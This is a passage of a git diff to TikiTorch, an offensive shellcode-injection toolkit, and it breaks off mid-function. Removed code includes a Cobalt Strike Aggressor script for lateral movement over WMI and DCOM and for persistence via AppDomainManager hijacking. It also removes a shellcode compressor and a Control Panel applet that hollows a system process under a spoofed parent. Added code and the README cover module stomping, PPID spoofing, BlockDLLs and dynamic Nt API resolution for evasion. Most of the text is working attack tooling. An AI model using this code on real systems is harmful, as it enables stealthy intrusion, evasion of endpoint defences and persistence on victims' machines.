\\c$\\windows\\temp\\tikiservice.exe.config"); -} - -alias tikipersist { - -$bid = $1; - - $input = substr($0, 12); - @args = split(' ', $input); - - ######################### - ## Check args[] length ## - ######################### - - if (size(@args) eq "4") { - - $listener = @args[0]; - $arch = @args[1]; - $binary = @args[2]; - $method = @args[3]; - } - - ############ - ## Errors ## - ############ - - if (size(@args) ne "4") { - berror($bid, "Invalid number of arguments"); - return; - } - - if (listener_info($listener, "payload") eq "") { - berror($bid, "Invalid listener"); - return; - } - - if (($arch ne "x64") && ($arch ne "x86")) { - berror($bid, "Invalid architecture"); - return; - } - - if (($method ne "manifest")) { - berror($bid, "Invalid method"); - return; - } - - btask($bid, "Tasked Beacon to persist with " . listener_describe($listener) . " and " . $method); - - ############### - ## Shellcode ## - ############### - - artifact_stageless($listener, "raw", $arch, $null, $this); - yield; - $shellcode = base64_encode($1); - - ################## - ## Prep Payload ## - ################## - - if ($method eq "manifest") { - $final = manifest_data_swap($binary, $shellcode, $TikiSpawnWppid::DllPath, $TikiManifest::CSPath); - - $handle = openf(">C:\\Windows\\Temp\\TikiManifest.cs"); - writeb($handle, $final); - closef($handle); - } - - $buildPath = ""; - - if ($arch eq "x64") { $buildPath = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe"; } - else { $buildPath = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe"; } - - $buildCmd = $buildPath . " /target:library /unsafe /out:C:\\Windows\\Temp\\tasks.dll C:\\Windows\\Temp\\TikiManifest.cs"; - - $process = exec("cmd.exe /c \"$buildCmd\""); - @data = readAll($process); - printAll(@data); - closef($process); - - #################### - ## Upload and Run ## - #################### - - if ($method eq "manifest") { - - $handle = openf("C:\\Windows\\Temp\\tasks.dll"); - $dll = readb($handle, -1); - closef($handle); - - bupload_raw!($bid, "c:\\windows\\system32\\tasks\\tasks.dll", $dll); - - bexecute_assembly!($bid, $CsEnv::AssemblyPath, "APPDOMAIN_MANAGER_ASM \"tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null\" user"); - bexecute_assembly!($bid, $CsEnv::AssemblyPath, "APPDOMAIN_MANAGER_TYPE TikiTorchDomainManager user"); - bexecute_assembly!($bid, $CsEnv::AssemblyPath, "COMPLUS_Version v4.0.30319 user"); - } - - ############# - ## Cleanup ## - ############# - - $process = exec("cmd.exe /c \"del C:\\Windows\\Temp\\TikiManifest.cs && del C:\\Windows\\Temp\\tasks.dll\""); - @data = readAll($process); - printAll(@data); - closef($process); - -} - -sub msbuild_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[21]); - add(@data, " public const string binary = @\" $+ $binary $+ \"\;", 21); - remove(@data, @data[22]); - add(@data, " public const string shellcode = @\" $+ $shellcode $+ \"\;", 22); - remove(@data, @data[23]); - add(@data, " public const string dll = @\" $+ $dll $+ \"\;", 23); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -sub powershell_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[0]); - add(@data, "\$binary = \"$binary\"", 0); - remove(@data, @data[1]); - add(@data, "\$dll = \"$dll\"", 1); - remove(@data, @data[2]); - add(@data, "\$shellcode = \"$shellcode\"", 2); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -sub compilerworkflow_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[7]); - add(@data, " const string binary = \@\"$binary\"\;", 7); - remove(@data, @data[8]); - add(@data, " const string shellcode = \"$shellcode\"\;", 8); - remove(@data, @data[9]); - add(@data, " const string dll = \"$dll\"\;", 9); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -sub manifest_data_swap { - - $binary = $1; - $shellcode = $2; - $dllPath = $3; - $template = $4; - - $handle = openf($dllPath); - $dll = base64_encode(readb($handle, -1)); - - if (-canread $template) { - - $handle = openf($template); - @data = readAll($handle); - closef($handle); - remove(@data, @data[16]); - add(@data, " static string dll = \"$dll\"\;", 16); - remove(@data, @data[17]); - add(@data, " static string binary = \@\"$binary\";", 17); - remove(@data, @data[18]); - add(@data, " static string shellcode = \"$shellcode\"\;", 18); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - - } - - return $data; -} - -sub tikiexec_data_swap { - - $binary = $1; - $shellcode = $2; - $appConfig = $3; - - if (-canread $appConfig) { - - $handle = openf($appConfig); - @data = readAll($handle); - closef($handle); - remove(@data, @data[6]); - add(@data, " ", 6); - remove(@data, @data[7]); - add(@data, " ", 7); - - $data = ""; - - for ($i = 0; $i < size(@data); $i++) { - $data = $data . @data[$i] . "\r\n"; - } - } - - return $data; -} - -beacon_command_register ( - - "tikilateral", - "Execute a TikiTorch payload on a host", - "Execute a TikiTorch payload on the remote target using\n" . - "the specified payload type and code execution method.\n\n" . - "Use: tikilateral [target] [listener] [x64|x86] [binary] [payload] [method]\n\n" . - " Payloads: powershell\n" . - " msbuild\n" . - " workflowcompiler\n\n" . - " Methods: wmi:processcallcreate\n" . - " dcom:mmc20.application\n" . - " dcom:shellwindows\n" . - " dcom:shellbrowserwindow\n" . - " dcom:exceldde\n\n" . - "Example: tikilateral dc1 smb x64 c:\\windows\\system32\\svchost.exe msbuild dcom:mmc20.application\n" . - "Example: tikilateral dc1 smb x64 c:\\windows\\notepad.exe powershell wmi:processcallcreate" -); - -beacon_command_register ( - - "tikiexec", - "Use a service to run a TikiTorch payload on a host", - "Copy a TikiTorch payload to the remote target\n" . - "and execute it using the Service Control Manager.\n\n" . - "Use: tikiexec [target] [listener] [x64|x86] [binary]" -); - -beacon_command_register ( - - "tikipersist", - "Persist on a host with a TikiTorch payload", - "Install a persistence mechanism on the target using\n" . - "a TikiTorch payload and the specified method.\n\n" . - "Use: tikipersist [listener] [x64|x86] [binary] [method]\n\n" . - " Methods: manifest\n\n" . - "Example: tikipersist http x64 c:\\windows\\notepad.exe manifest" -); \ No newline at end of file diff --git a/Get-CompressedShellcode.ps1 b/Get-CompressedShellcode.ps1 deleted file mode 100644 index 9e3fe09..0000000 --- a/Get-CompressedShellcode.ps1 +++ /dev/null @@ -1,18 +0,0 @@ -function Get-CompressedShellcode { - - [CmdletBinding()] - Param( - [String]$inFile - ) - - $byteArray = [System.IO.File]::ReadAllBytes($inFile) - [System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream - $gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress) - $gzipStream.Write($byteArray, 0, $byteArray.Length) - $gzipStream.Close() - $output.Close() - $tmp = $output.ToArray() - - $b64 = [System.Convert]::ToBase64String($tmp) - Write-Output $b64 -} \ No newline at end of file diff --git a/README.md b/README.md index a0d29a3..62b8436 100644 --- a/README.md +++ b/README.md @@ -8,39 +8,42 @@ |_| |_| |_\_\ |_| |_| \___/ |_| \__| |_||_| ``` -TikiTorch was named in homage to [CACTUSTORCH](https://github.com/vysecurity/CACTUSTORCH) by [Vincent Yiu](https://twitter.com/vysecurity). The basic concept of CACTUSTORCH is that it spawns a new process, allocates a region of memory, then uses `CreateRemoteThread` to run the desired shellcode within that target process. Both the process and shellcode are specified by the user. +TikiTorch was named in homage to [CACTUSTORCH](https://github.com/vysecurity/CACTUSTORCH) by [Vincent Yiu](https://twitter.com/vysecurity). The basic concept of CACTUSTORCH is that it spawns a new process, allocates a region of memory, writes shellcode into that region, and then uses `CreateRemoteThread` to execute said shellcode. Both the process and shellcode are specified by the user. The primary use case is as a JavaScript/VBScript loader via [DotNetToJScript](https://github.com/tyranid/DotNetToJScript), which can be utilised in a variety of payload types such as HTA and VBA. -This is pretty flexible as it allows an operator to run an HTTP agent in a process such as `iexplore.exe`, rather than something more arbitrary like `rundll32` or `powershell`. +TikiTorch takes this a step further by offering a more advanced style of process spawning and injection: -TikiTorch follows the same concept but has multiple types of process injection available, which can be specified by the user at compile time. +- Spawn x86 or x64 processes. +- Supports PPID Spoofing and BlockDLLs. +- Uses [Module Stomping](https://offensivedefence.co.uk/posts/module-stomping/) for injection. +- Utilises [DInvoke](https://github.com/TheWover/DInvoke) to call lower-level Nt* APIs. -## Projects +The TikiTorch solution has 2 projects: +1. TikiLoader +2. TikiSpawn -`TikiTorch` is a Visual Basic solution, split into 8 projects. +The TikiLoader is the core DLL that handles all of the actual spawning and injection logic. TikiSpawn is a demo console app showing how to consume the TikiLoader. -- TikiLoader -- TikiSpawn -- TikiSpawnAs -- TikiSpawnElevated -- TikiCpl -- TikiService -- TikiThings -- TikiVader +## Basic Usage -In the first instance, please see the [Wiki](https://github.com/rasta-mouse/TikiTorch/wiki) for usage instructions. +```c# +using System.Diagnostics; +using TikiLoader; -## Credits +var shellcode = new byte[] { /* whatever */ }; -- Aaron Bray for [Loader.cs](https://github.com/ambray/ProcessHollowing/blob/master/ShellLoader/Loader.cs) -- [James Foreshaw](https://twitter.com/tiraniddo) for C# advice -- [Vincent Yiu](https://twitter.com/vysecurity) for inspiration -- [Kevin Mitnick](@kevinmitnick) for letting me test in his lab -- [Steve Borosh](https://twitter.com/424f424f) for TikiCpl -- [Casey Smith](https://twitter.com/subTee) for [AllTheThings](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/src/AllTheThings.cs) -- [Marcus Gelderman](https://gist.github.com/marcgeld) for [psCompress.ps1](https://gist.github.com/marcgeld/bfacfd8d70b34fdf1db0022508b02aca) -- [Will Schroeder](https://twitter.com/harmj0y) for [Seatbelt](https://github.com/GhostPack/Seatbelt) +var stomper = new Stomper +{ + BinaryPath = @"C:\Windows\System32\notepad.exe", + WorkingDirectory = @"C:\Windows\System32", + ModuleName = "xpsservices.dll", + ExportName = "DllCanUnloadNow", + ParentId = Process.GetProcessesByName("explorer")[0].Id, + BlockDlls = true +}; + +stomper.Stomp(_shellcode); +``` -## Further Reading - -- https://rastamouse.me/tags/tikitorch/ -- https://www.rythmstick.net/posts/tikitorch/ \ No newline at end of file +![](notepad.png) +![](modules.png) +![](thread.png) \ No newline at end of file diff --git a/TikiCpl/App.config b/TikiCpl/App.config deleted file mode 100644 index 8e15646..0000000 --- a/TikiCpl/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiCpl/FodyWeavers.xml b/TikiCpl/FodyWeavers.xml deleted file mode 100644 index a5dcf04..0000000 --- a/TikiCpl/FodyWeavers.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/TikiCpl/FodyWeavers.xsd b/TikiCpl/FodyWeavers.xsd deleted file mode 100644 index 44a5374..0000000 --- a/TikiCpl/FodyWeavers.xsd +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with line breaks. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with line breaks. - - - - - The order of preloaded assemblies, delimited with line breaks. - - - - - - This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. - - - - - Controls if .pdbs for reference assemblies are also embedded. - - - - - Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. - - - - - As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. - - - - - Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. - - - - - Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. - - - - - A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | - - - - - A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. - - - - - A list of unmanaged 32 bit assembly names to include, delimited with |. - - - - - A list of unmanaged 64 bit assembly names to include, delimited with |. - - - - - The order of preloaded assemblies, delimited with |. - - - - - - - - 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. - - - - - A comma-separated list of error codes that can be safely ignored in assembly verification. - - - - - 'false' to turn off automatic generation of the XML Schema file. - - - - - \ No newline at end of file diff --git a/TikiCpl/Program.cs b/TikiCpl/Program.cs deleted file mode 100644 index eb258fa..0000000 --- a/TikiCpl/Program.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.IO; -using System.Reflection; -using System.Diagnostics; -using System.Runtime.InteropServices; - -using TikiLoader; -using RGiesecke.DllExport; - -public class TikiCpl -{ - private static string ExtractResource(string filename) - { - var assembly = Assembly.GetExecutingAssembly(); - var resourceName = filename; - - using (Stream stream = assembly.GetManifestResourceStream(resourceName)) - using (StreamReader reader = new StreamReader(stream)) - { - string result = reader.ReadToEnd(); - return result; - } - - } - - private delegate IntPtr GetPebDelegate(); - - public static int FindProcessPid(string process) - { - int pid = 0; - - int session = Process.GetCurrentProcess().SessionId; - - Process[] processes = Process.GetProcessesByName(process); - - foreach (Process proc in processes) - { - if (proc.SessionId == session) - { - pid = proc.Id; - } - } - - return pid; - } - - [DllExport("CPlApplet", CallingConvention = CallingConvention.StdCall)] - public unsafe static IntPtr CPlApplet() - { - string scode = ExtractResource("TikiCpl.Resource.txt"); - byte[] blob = Convert.FromBase64String(scode); - byte[] shellcode = Generic.DecompressShellcode(blob); - - if (shellcode.Length == 0) return IntPtr.Zero; - int ppid = FindProcessPid("explorer"); - if (ppid == 0) - { - Environment.Exit(1); - } - - try - { - var hollower = new Hollower(); - // Change the binary you want to inject shellcode into - string binary = @"C:\windows\system32\upnpcont.exe"; - hollower.Hollow(binary, shellcode, ppid); - return IntPtr.Zero; - } - catch - { - return IntPtr.Zero; - } - - } -} \ No newline at end of file diff --git a/TikiCpl/Properties/AssemblyInfo.cs b/TikiCpl/Properties/AssemblyInfo.cs deleted file mode 100644 index f3d4024..0000000 --- a/TikiCpl/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("TikiScript")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("TikiScript")] -[assembly: AssemblyCopyright("Copyright © 2019")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("2ef9d8f7-6b77-4b75-822b-6a53a922c30f")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/TikiCpl/Resource.txt b/TikiCpl/Resource.txt deleted file mode 100644 index 5f28270..0000000 --- a/TikiCpl/Resource.txt +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/TikiCpl/TikiCpl.csproj b/TikiCpl/TikiCpl.csproj deleted file mode 100644 index 23e710a..0000000 --- a/TikiCpl/TikiCpl.csproj +++ /dev/null @@ -1,89 +0,0 @@ - - - - - - Debug - AnyCPU - {40C4388B-769D-4170-8DB1-C659AE8F45C9} - Library - TikiCpl - TikiCpl - v4.5 - 512 - true - - - - - x86 - true - full - true - bin\Debug\ - - - prompt - 4 - false - true - - - x86 - none - true - bin\Release\ - TRACE - prompt - 4 - true - - - - - - - ..\packages\Costura.Fody.3.3.3\lib\net40\Costura.dll - - - ..\packages\UnmanagedExports.1.2.7\lib\net\RGiesecke.DllExport.Metadata.dll - False - - - - - - - - - - - - - - - - - - - - - - {806c6c72-4adc-43d9-b028-6872fa48d334} - TikiLoader - - - - - - - - - - This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. - - - - - - \ No newline at end of file diff --git a/TikiCpl/packages.config b/TikiCpl/packages.config deleted file mode 100644 index d043efc..0000000 --- a/TikiCpl/packages.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/TikiLoader/Data.cs b/TikiLoader/Data.cs new file mode 100644 index 0000000..6dd256a --- /dev/null +++ b/TikiLoader/Data.cs @@ -0,0 +1,190 @@ +using System; +using System.Runtime.InteropServices; + +namespace TikiLoader +{ + public static class Data + { + public static class Win32 + { + public static class Kernel32 + { + public const uint MEM_COMMIT = 0x1000; + public const uint MEM_RESERVE = 0x2000; + public const uint MEM_RELEASE = 0x8000; + + public const uint PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000; + public const uint PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = 0x20007; + + public const long BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000; + + public const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; + + [Flags] + public enum STARTF : uint + { + STARTF_USESHOWWINDOW = 0x00000001, + } + + [StructLayout(LayoutKind.Sequential)] + public struct STARTUPINFO + { + public uint cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public uint dwX; + public uint dwY; + public uint dwXSize; + public uint dwYSize; + public uint dwXCountChars; + public uint dwYCountChars; + public uint dwFillAttribute; + public uint dwFlags; + public ushort wShowWindow; + public ushort cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + }; + + [StructLayout(LayoutKind.Sequential)] + public struct STARTUPINFOEX + { + public STARTUPINFO Startupinfo; + public IntPtr lpAttributeList; + } + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public uint dwProcessId; + public uint dwThreadId; + }; + } + + public static class WinNT + { + public const uint INFINITE = 0xFFFFFFFF; + + public const uint PAGE_READWRITE = 0x04; + public const uint PAGE_EXECUTE_READ = 0x20; + + public enum ACCESS_MASK : uint + { + MAXIMUM_ALLOWED = 0x02000000, + }; + } + + public static class WinBase + { + [StructLayout(LayoutKind.Sequential)] + public struct SECURITY_ATTRIBUTES + { + uint nLength; + IntPtr lpSecurityDescriptor; + bool bInheritHandle; + }; + } + } + + public static class Native + { + [StructLayout(LayoutKind.Sequential)] + public struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + public struct PROCESS_BASIC_INFORMATION + { + public IntPtr ExitStatus; + public IntPtr PebBaseAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public UIntPtr UniqueProcessId; + public int InheritedFromUniqueProcessId; + + public int Size => Marshal.SizeOf(typeof(PROCESS_BASIC_INFORMATION)); + } + + public enum PROCESSINFOCLASS : int + { + ProcessBasicInformation = 0 + } + + [StructLayout(LayoutKind.Sequential)] + public struct LIST_ENTRY + { + public IntPtr Flink; + public IntPtr Blink; + } + } + + public static class PE + { + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetNamespace + { + [FieldOffset(0x0C)] + public int Count; + + [FieldOffset(0x10)] + public int EntryOffset; + } + + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetNamespaceEntry + { + [FieldOffset(0x04)] + public int NameOffset; + + [FieldOffset(0x08)] + public int NameLength; + + [FieldOffset(0x10)] + public int ValueOffset; + + [FieldOffset(0x14)] + public int ValueLength; + } + + [StructLayout(LayoutKind.Explicit)] + public struct ApiSetValueEntry + { + [FieldOffset(0x00)] + public int Flags; + + [FieldOffset(0x04)] + public int NameOffset; + + [FieldOffset(0x08)] + public int NameCount; + + [FieldOffset(0x0C)] + public int ValueOffset; + + [FieldOffset(0x10)] + public int ValueCount; + } + + [StructLayout(LayoutKind.Sequential)] + public struct LDR_DATA_TABLE_ENTRY + { + public Native.LIST_ENTRY InLoadOrderLinks; + public Native.LIST_ENTRY InMemoryOrderLinks; + public Native.LIST_ENTRY InInitializationOrderLinks; + public IntPtr DllBase; + public IntPtr EntryPoint; + public uint SizeOfImage; + public Native.UNICODE_STRING FullDllName; + public Native.UNICODE_STRING BaseDllName; + } + } + } +} \ No newline at end of file diff --git a/TikiLoader/Delegates.cs b/TikiLoader/Delegates.cs new file mode 100644 index 0000000..2737bca --- /dev/null +++ b/TikiLoader/Delegates.cs @@ -0,0 +1,119 @@ +using System; +using System.Runtime.InteropServices; + +namespace TikiLoader +{ + public struct Delegates + { + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool InitializeProcThreadAttributeList( + IntPtr lpAttributeList, + int dwAttributeCount, + int dwFlags, + ref IntPtr lpSize); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool UpdateProcThreadAttribute( + IntPtr lpAttributeList, + uint dwFlags, + IntPtr attribute, + IntPtr lpValue, + IntPtr cbSize, + IntPtr lpPreviousValue, + IntPtr lpReturnSize); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool DeleteProcThreadAttributeList( + IntPtr lpAttributeList); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate bool CreateProcessA( + string lpApplicationName, + string lpCommandLine, + ref Data.Win32.WinBase.SECURITY_ATTRIBUTES lpProcessAttributes, + ref Data.Win32.WinBase.SECURITY_ATTRIBUTES lpThreadAttributes, + bool bInheritHandles, + uint dwCreationFlags, + IntPtr lpEnvironment, + string lpCurrentDirectory, + ref Data.Win32.Kernel32.STARTUPINFOEX lpStartupInfoEx, + out Data.Win32.Kernel32.PROCESS_INFORMATION lpProcessInformation); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate void RtlZeroMemory( + IntPtr destination, + int length); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtQueryInformationProcess( + IntPtr processHandle, + Data.Native.PROCESSINFOCLASS processInformationClass, + IntPtr processInformation, + int processInformationLength, + ref uint returnLength); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate void RtlInitUnicodeString( + ref Data.Native.UNICODE_STRING destinationString, + [MarshalAs(UnmanagedType.LPWStr)] + string sourceString); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint LdrLoadDll( + IntPtr pathToFile, + uint dwFlags, + ref Data.Native.UNICODE_STRING moduleFileName, + ref IntPtr moduleHandle); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtAllocateVirtualMemory( + IntPtr processHandle, + ref IntPtr baseAddress, + IntPtr zeroBits, + ref IntPtr regionSize, + uint allocationType, + uint protect); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtWriteVirtualMemory( + IntPtr processHandle, + IntPtr baseAddress, + IntPtr buffer, + uint bufferLength, + ref uint bytesWritten); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtFreeVirtualMemory( + IntPtr processHandle, + ref IntPtr baseAddress, + ref IntPtr regionSize, + uint freeType); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtCreateThreadEx( + out IntPtr threadHandle, + Data.Win32.WinNT.ACCESS_MASK desiredAccess, + IntPtr objectAttributes, + IntPtr processHandle, + IntPtr startAddress, + IntPtr parameter, + bool createSuspended, + int stackZeroBits, + int sizeOfStack, + int maximumStackSize, + IntPtr attributeList); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint WaitForSingleObject( + IntPtr hHandle, + uint dwMilliseconds); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public delegate uint NtProtectVirtualMemory( + IntPtr processHandle, + ref IntPtr baseAddress, + ref IntPtr regionSize, + uint newProtect, + ref uint oldProtect); + } +} \ No newline at end of file diff --git a/TikiLoader/Enums.cs b/TikiLoader/Enums.cs deleted file mode 100644 index b7efa46..0000000 --- a/TikiLoader/Enums.cs +++ /dev/null @@ -1,87 +0,0 @@ -using System; - -namespace TikiLoader -{ - public class Enums - { - public enum ThreadInformationClass : uint - { - ThreadBasicInformation, - ThreadTimes, - ThreadPriority, - ThreadBasePriority, - ThreadAffinityMask, - ThreadImpersonationToken, - ThreadDescriptorTableEntry, - ThreadEnableAlignmentFaultFixup, - ThreadEventPair, - ThreadQuerySetWin32StartAddress, - ThreadZeroTlsCell, // 10 - ThreadPerformanceCount, - ThreadAmILastThread, - ThreadIdealProcessor, - ThreadPriorityBoost, - ThreadSetTlsArrayAddress, - ThreadIsIoPending, - ThreadHideFromDebugger, - ThreadBreakOnTermination, - ThreadSwitchLegacyState, - ThreadIsTerminated, // 20 - ThreadLastSystemCall, - ThreadIoPriority, - ThreadCycleTime, - ThreadPagePriority, - ThreadActualBasePriority, - ThreadTebInformation, - ThreadCSwitchMon, - MaxThreadInfoClass - } - - [Flags] - public enum CreationFlags - { - CreateSuspended = 0x00000004, - DetachedProcesds = 0x00000008, - CreateNoWindow = 0x08000000, - ExtendedStartupInfoPresent = 0x00080000 - } - - [Flags] - public enum LogonFlags - { - LogonWithProfile = 0x00000001, - LogonNetCredentialsOnly = 0x00000002 - } - - [Flags] - public enum AllocationType - { - Commit = 0x1000, - Reserve = 0x2000, - Decommit = 0x4000, - Release = 0x8000, - Reset = 0x80000, - Physical = 0x400000, - TopDown = 0x100000, - WriteWatch = 0x200000, - LargePages = 0x20000000, - SecCommit = 0x08000000 - } - - [Flags] - public enum MemoryProtection - { - Execute = 0x10, - ExecuteRead = 0x20, - ExecuteReadWrite = 0x40, - ExecuteWriteCopy = 0x80, - NoAccess = 0x01, - ReadOnly = 0x02, - ReadWrite = 0x04, - WriteCopy = 0x08, - GuardModifierflag = 0x100, - NoCacheModifierflag = 0x200, - WriteCombineModifierflag = 0x400 - } - } -} \ No newline at end of file diff --git a/TikiLoader/Generic.cs b/TikiLoader/Generic.cs index 158d656..02f71f5 100644 --- a/TikiLoader/Generic.cs +++ b/TikiLoader/Generic.cs @@ -1,202 +1,272 @@ using System; -using System.IO; +using System.Collections.Generic; using System.Diagnostics; -using System.IO.Compression; +using System.IO; using System.Runtime.InteropServices; -using static TikiLoader.Imports; -using static TikiLoader.Enums; -using static TikiLoader.Structs; - namespace TikiLoader { - public class Generic + public static class Generic { - private const int ProcThreadAttributeParentProcess = 0x00020000; - - public static PROCESS_INFORMATION StartProcess(string targetProcess, int parentProcessId) + public static object DynamicApiInvoke(string dllName, string functionName, Type functionDelegateType, ref object[] parameters, bool canLoadFromDisk = false, bool resolveForwards = true) { - STARTUPINFOEX sInfoEx = new STARTUPINFOEX(); - PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); + var pFunction = GetLibraryAddress(dllName, functionName, canLoadFromDisk, resolveForwards); + return DynamicFunctionInvoke(pFunction, functionDelegateType, ref parameters); + } + + private static object DynamicFunctionInvoke(IntPtr functionPointer, Type functionDelegateType, ref object[] parameters) + { + var funcDelegate = Marshal.GetDelegateForFunctionPointer(functionPointer, functionDelegateType); + return funcDelegate.DynamicInvoke(parameters); + } + + private static IntPtr GetLibraryAddress(string dllName, string functionName, bool canLoadFromDisk = false, bool resolveForwards = true) + { + var hModule = GetLoadedModuleAddress(dllName); + + if (hModule == IntPtr.Zero && canLoadFromDisk) + { + hModule = LoadModuleFromDisk(dllName); + + if (hModule == IntPtr.Zero) + { + throw new FileNotFoundException(dllName + ", unable to find the specified file."); + } + } + else if (hModule == IntPtr.Zero) + { + throw new DllNotFoundException(dllName + ", Dll was not found."); + } - sInfoEx.StartupInfo.cb = (uint)Marshal.SizeOf(sInfoEx); - IntPtr lpValue = IntPtr.Zero; + return GetExportAddress(hModule, functionName, resolveForwards); + } + + private static IntPtr GetLoadedModuleAddress(string dllName) + { + var modules = Process.GetCurrentProcess().Modules; + + foreach (ProcessModule module in modules) + if (module.FileName.ToLower().EndsWith(dllName.ToLower())) + return module.BaseAddress; + return IntPtr.Zero; + } + + public static IntPtr LoadModuleFromDisk(string dllPath) + { + var uModuleName = new Data.Native.UNICODE_STRING(); + Native.RtlInitUnicodeString(ref uModuleName, dllPath); + + var hModule = IntPtr.Zero; + _ = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); + + return hModule; + } + + public static IntPtr GetExportAddress(IntPtr moduleBase, string exportName, bool resolveForwards = true) + { + var functionPtr = IntPtr.Zero; + try { - SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); - SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); - pSec.nLength = Marshal.SizeOf(pSec); - tSec.nLength = Marshal.SizeOf(tSec); + // Traverse the PE header in memory + var peHeader = Marshal.ReadInt32((IntPtr)(moduleBase.ToInt64() + 0x3C)); + var optHeader = moduleBase.ToInt64() + peHeader + 0x18; + var magic = Marshal.ReadInt16((IntPtr)optHeader); + long pExport = 0; + + if (magic == 0x010b) pExport = optHeader + 0x60; + else pExport = 